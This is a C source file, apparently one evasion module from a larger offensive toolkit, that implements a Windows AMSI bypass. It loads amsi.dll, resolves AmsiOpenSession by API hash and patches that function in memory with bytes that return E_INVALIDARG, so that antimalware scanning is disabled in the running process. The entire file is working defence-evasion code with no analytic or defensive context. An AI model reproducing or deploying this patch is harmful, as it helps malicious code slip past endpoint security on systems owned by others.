38 lines
1.2 KiB
C
Executable File
38 lines
1.2 KiB
C
Executable File
/**
|
|
* evasion_amsi.c — AMSI bypass
|
|
*
|
|
* Patches AmsiOpenSession in amsi.dll to return E_INVALIDARG immediately,
|
|
* preventing AMSI from scanning any buffers in the current process.
|
|
*/
|
|
|
|
#include <windows.h>
|
|
#include <stdint.h>
|
|
|
|
#include "api_resolve.h"
|
|
|
|
#ifdef EVASION_AMSI_BYPASS
|
|
|
|
void evasion_amsi_init(void) {
|
|
/* Load amsi.dll — may not be loaded yet in the process */
|
|
HMODULE hAmsi = g_api.pLoadLibraryA("amsi.dll");
|
|
if (!hAmsi) return;
|
|
|
|
/* Resolve AmsiOpenSession by hash (amsi.dll is now in PEB) */
|
|
FARPROC pFunc = (FARPROC)api_resolve_func(HASH_AMSI, HASH_AmsiOpenSession);
|
|
if (!pFunc) return;
|
|
|
|
/* Patch: make the function return E_INVALIDARG (0x80070057)
|
|
* x64 patch: mov eax, 0x80070057; ret
|
|
* B8 57 00 07 80 C3
|
|
*/
|
|
uint8_t patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
|
|
|
|
DWORD old_protect;
|
|
if (g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
|
|
memcpy((LPVOID)pFunc, patch, sizeof(patch));
|
|
g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), old_protect, &old_protect);
|
|
}
|
|
}
|
|
|
|
#endif /* EVASION_AMSI_BYPASS */
|